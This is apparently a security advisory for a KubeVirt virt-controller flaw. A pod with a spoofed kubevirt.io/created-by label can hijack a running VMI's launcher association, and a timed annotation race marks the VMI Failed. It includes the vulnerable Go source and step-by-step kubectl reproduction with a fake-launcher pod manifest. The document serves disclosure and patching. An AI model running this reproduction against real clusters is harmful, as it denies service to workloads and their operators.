| Package | Affected versions | Patched versions |
|---|---|---|
| kubevirt.io/kubevirt | < 1.7.0-beta.0 | 1.7.0-beta.0 |
| kubevirt | = 1.7.0≤ 1.6.3 |
_Short summary of the problem. Make the impact and severity as clear as possible.
A logic flaw in the virt-controller allows an attacker to disrupt the control over a running VMI by creating a pod with the same labels as the legitimate virt-launcher pod associated with the VMI. This can mislead the virt-controller into associating the fake pod with the VMI, resulting in incorrect status updates and potentially causing a DoS (Denial-of-Service).
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
A vulnerability has been identified in the logic responsible for reconciling the state of VMI. Specifically, it is possible to associate a malicious attacker-controlled pod with an existing VMI running within the same namespace as the pod, thereby replacing the legitimate virt-launcher pod associated with the VMI.
The virt-launcher pod is critical for enforcing the isolation mechanisms applied to the QEMU process that runs the virtual machine. It also serves, along with virt-handler, as a management interface that allows cluster users, operators, or administrators to control the lifecycle of the VMI (e.g., starting, stopping, or migrating it).
When virt-controller receives a notification about a change in a VMI's state, it attempts to identify the corresponding virt-launcher pod. This is necessary in several scenarios, including:
virt-launcher pod.virt-launcher pod's cgroups.virt-launcher pod's cgroups.The core issue lies in the implementation of the GetControllerOf function, which is responsible for determining the controller (i.e., owning resource) of a given pod. In its current form, this logic can be manipulated, allowing an attacker to substitute a rogue pod in place of the legitimate virt-launcher, thereby compromising the VMI's integrity and control mechanisms.
//pkg/controller/controller.go
func CurrentVMIPod(vmi *v1.VirtualMachineInstance, podIndexer cache.Indexer) (*k8sv1.Pod, error) {
// Get all pods from the VMI namespace which contain the label "kubevirt.io"
objs, err := podIndexer.ByIndex(cache.NamespaceIndex, vmi.Namespace)
if err != nil {
return nil, err
}
pods := []*k8sv1.Pod{}
for _, obj := range objs {
pod := obj.(*k8sv1.Pod)
pods = append(pods, pod)
}
var curPod *k8sv1.Pod = nil
for _, pod := range pods {
if !IsControlledBy(pod, vmi) {
continue
}
if vmi.Status.NodeName != "" &&
vmi.Status.NodeName != pod.Spec.NodeName {
// This pod isn't scheduled to the current node.
// This can occur during the initial migration phases when
// a new target node is being prepared for the VMI.
continue
}
// take the most recently created pod
if curPod == nil || curPod.CreationTimestamp.Before(&pod.CreationTimestamp) {
curPod = pod
}
}
return curPod, nil
}
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free// pkg/controller/controller_ref.go
// GetControllerOf returns the controllerRef if controllee has a controller,
// otherwise returns nil.
func GetControllerOf(pod *k8sv1.Pod) *metav1.OwnerReference {
controllerRef := metav1.GetControllerOf(pod)
if controllerRef != nil {
return controllerRef
}
// We may find pods that are only using CreatedByLabel and not set with an OwnerReference
if createdBy := pod.Labels[virtv1.CreatedByLabel]; len(createdBy) > 0 {
name := pod.Annotations[virtv1.DomainAnnotation]
uid := types.UID(createdBy)
vmi := virtv1.NewVMI(name, uid)
return metav1.NewControllerRef(vmi, virtv1.VirtualMachineInstanceGroupVersionKind)
}
return nil
}
func IsControlledBy(pod *k8sv1.Pod, vmi *virtv1.VirtualMachineInstance) bool {
if controllerRef := GetControllerOf(pod); controllerRef != nil {
return controllerRef.UID == vmi.UID
}
return false
}
The current logic assumes that a virt-launcher pod associated with a VMI may not always have a controllerRef. In such cases, the controller falls back to inspecting the pod's labels. Specifically it evaluates the kubevirt.io/created-by label, which is expected to match the UID of the VMI triggering the reconciliation loop. If multiple pods are found that could be associated with the same VMI, the virt-controller selects the most recently created one.
This logic appears to be designed with migration scenarios in mind, where it is expected that two virt-launcher pods might temporarily coexist for the same VMI: one for the migration source and one for the migration target node. However, a scenario was not identified in which a legitimate virt-launcher pod lacks a controllerRef and relies solely on labels (such as kubevirt.io/created-by) to indicate its association with a VMI.
This fallback behaviour introduces a security risk. If an attacker is able to obtain the UID of a running VMI and create a pod within the same namespace, they can assign it labels that mimic those of a legitimate virt-launcher pod. As a result, the CurrentVMIPod function could mistakenly return the attacker-controlled pod instead of the authentic one.
This vulnerability has at least two serious consequences:
nodeSelector or nodeAffinity, which are typically used to enforce workload placement policies.Complete instructions, including specific configuration details, to reproduce the vulnerability.
Consider the following VMI definition:
apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
name: launcher-label-confusion
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
resources:
requests:
memory: 1024M
terminationGracePeriodSeconds: 0
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
# Deploy the launcher-label-confusion VMI
operator@minikube:~$ kubectl apply -f launcher-confusion-labels.yaml
# Get the UID of the VMI
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.metadata.uid}'
18afb8bf-70c4-498b-aece-35804c9a0d11
# Find the UID of the associated to the VMI `virt-launcher` pods (ActivePods)
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}'
{"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube"}
The UID of the VMI can also be found as an argument to the container in the virt-launcher pod:
# Inspect the `virt-launcher` pod associated with the VMI and the --uid CLI argument with which it was launched
operator@minikube:~$ kubectl get pods virt-launcher-launcher-label-confusion-bdkwj -o jsonpath='{.spec.containers[0]}' | jq .
{
"command": [
"/usr/bin/virt-launcher-monitor",
...
"--uid",
"18afb8bf-70c4-498b-aece-35804c9a0d11",
"--namespace",
"default",
...
Consider the following attacker-controlled pod which is associated to the VMI using the UID defined in the kubevirt.io/created-by label:
apiVersion: v1
kind: Pod
metadata:
name: fake-launcher
labels:
kubevirt.io: intruder # this is the label used by the virt-controller to identify pods associated with KubeVirt components
kubevirt.io/created-by: 18afb8bf-70c4-498b-aece-35804c9a0d11 # this is the UID of the launcher-label-confusion VMI which is going to be taken into account if there is no ownerReference. This is the case for regular pods
kubevirt.io/domain: migration
spec:
restartPolicy: Never
containers:
- name: alpine
image: alpine
command: [ "sleep", "3600" ]
operator@minikube:~$ kubectl apply -f fake-launcher.yaml
# Get the UID of the `fake-launcher` pod
operator@minikube:~$ kubectl get pod fake-launcher -o jsonpath='{.metadata.uid}'
39479b87-3119-43b5-92d4-d461b68cfb13
To effectively attach the fake pod to the VMI, the attacker should wait for a state update to trigger the reconciliation loop:
# Trigger the VMI reconciliation loop
operator@minikube:~$ kubectl patch vmi launcher-label-confusion -p '{"metadata":{"annotations":{"trigger-annotation":"quarkslab"}}}' --type=merge
virtualmachineinstance.kubevirt.io/launcher-label-confusion patched
# Confirm that fake-launcher pod has been associated with the VMI
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}'
{"39479b87-3119-43b5-92d4-d461b68cfb13":"minikube", # `fake-launcher` pod's UID
"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube"} # original `virt-launcher` pod UID
To illustrate the impact of this vulnerability, a race condition will be triggered in the sync function of the VMI controller:
// pkg/virt-controller/watch/vmi.go
func (c *Controller) sync(vmi *virtv1.VirtualMachineInstance, pod *k8sv1.Pod, dataVolumes []*cdiv1.DataVolume) (common.SyncError, *k8sv1.Pod) {
//...
if !isTempPod(pod) && controller.IsPodReady(pod) {
// mark the pod with annotation to be evicted by this controller
newAnnotations := map[string]string{descheduler.EvictOnlyAnnotation: ""}
maps.Copy(newAnnotations, c.netAnnotationsGenerator.GenerateFromActivePod(vmi, pod))
// here a new updated pod is returned
patchedPod, err := c.syncPodAnnotations(pod, newAnnotations)
if err != nil {
return common.NewSyncError(err, controller.FailedPodPatchReason), pod
}
pod = patchedPod
// ...
func (c *Controller) syncPodAnnotations(pod *k8sv1.Pod, newAnnotations map[string]string) (*k8sv1.Pod, error) {
patchSet := patch.New()
for key, newValue := range newAnnotations {
if podAnnotationValue, keyExist := pod.Annotations[key]; !keyExist || podAnnotationValue != newValue {
patchSet.AddOption(
patch.WithAdd(fmt.Sprintf("/metadata/annotations/%s", patch.EscapeJSONPointer(key)), newValue),
)
}
}
if patchSet.IsEmpty() {
return pod, nil
}
patchBytes, err := patchSet.GeneratePayload()
// ...
patchedPod, err := c.clientset.CoreV1().Pods(pod.Namespace).Patch(context.Background(), pod.Name, types.JSONPatchType, patchBytes, v1.PatchOptions{})
// ...
return patchedPod, nil
}
The above code adds additional annotations to the virt-launcher pod related to node eviction. This happens via an API call to Kubernetes which upon success returns a new updated pod object. This object replaces the current one in the execution flow.
There is a tiny window where an attacker could trigger a race condition which will mark the VMI as failed:
// pkg/virt-controller/watch/vmi.go
func isTempPod(pod *k8sv1.Pod) bool {
// EphemeralProvisioningObject string = "kubevirt.io/ephemeral-provisioning"
_, ok := pod.Annotations[virtv1.EphemeralProvisioningObject]
return ok
}
// pkg/virt-controller/watch/vmi.go
func (c *Controller) updateStatus(vmi *virtv1.VirtualMachineInstance, pod *k8sv1.Pod, dataVolumes []*cdiv1.DataVolume, syncErr common.SyncError) error {
// ...
vmiPodExists := controller.PodExists(pod) && !isTempPod(pod)
tempPodExists := controller.PodExists(pod) && isTempPod(pod)
//...
case vmi.IsRunning():
if !vmiPodExists {
// MK: this will toggle the VMI phase to Failed
vmiCopy.Status.Phase = virtv1.Failed
break
}
//...
vmiChanged := !equality.Semantic.DeepEqual(vmi.Status, vmiCopy.Status) || !equality.Semantic.DeepEqual(vmi.Finalizers, vmiCopy.Finalizers) || !equality.Semantic.DeepEqual(vmi.Annotations, vmiCopy.Annotations) || !equality.Semantic.DeepEqual(vmi.Labels, vmiCopy.Labels)
if vmiChanged {
// MK: this will detect that the phase of the VMI has changed and updated the resource
key := controller.VirtualMachineInstanceKey(vmi)
c.vmiExpectations.SetExpectations(key, 1, 0)
_, err := c.clientset.VirtualMachineInstance(vmi.Namespace).Update(context.Background(), vmiCopy, v1.UpdateOptions{})
if err != nil {
c.vmiExpectations.LowerExpectations(key, 1, 0)
return err
}
}
To trigger it, the attacker should update the fake-launcher pod's annotations before the check vmiPodExists := controller.PodExists(pod) && !isTempPod(pod) in sync, and between the check if !isTempPod(pod) && controller.IsPodReady(pod) in sync but before the patch API call in syncPodAnnotations as follows:
annotations:
kubevirt.io/ephemeral-provisioning: "true"
The above annotation will mark the attacker pod as ephemeral (i.e., used to provision the VMI) and will fail the VMI as the latter is already running (provisioning happens before the VMI starts running).
The update should also happen during the reconciliation loop when the fake-launcher pod is initially going to be associated with the VMI and its labels, related to eviction, updated.
Upon successful exploitation the VMI is marked as failed and could not be controlled via the Kubernetes API. However, the QEMU process is still running and the VMI is still present in the cluster:
operator@minikube:~$ kubectl get vmi
NAME AGE PHASE IP NODENAME READY
launcher-label-confusion 128m Failed 10.244.0.10 minikube False
# The VMI is not reachable anymore
operator@minikube:~$ virtctl console launcher-label-confusion
Operation cannot be fulfilled on virtualmachineinstance.kubevirt.io "launcher-label-confusion": VMI is in failed status
# The two pods are still associated with the VMI
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}'
{"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube","ca31c8de-4d14-4e47-b942-75be20fb9d96":"minikube"}
As a result, an attacker could provoke a DoS condition for the affected VMI, compromising the availability of the services it provides.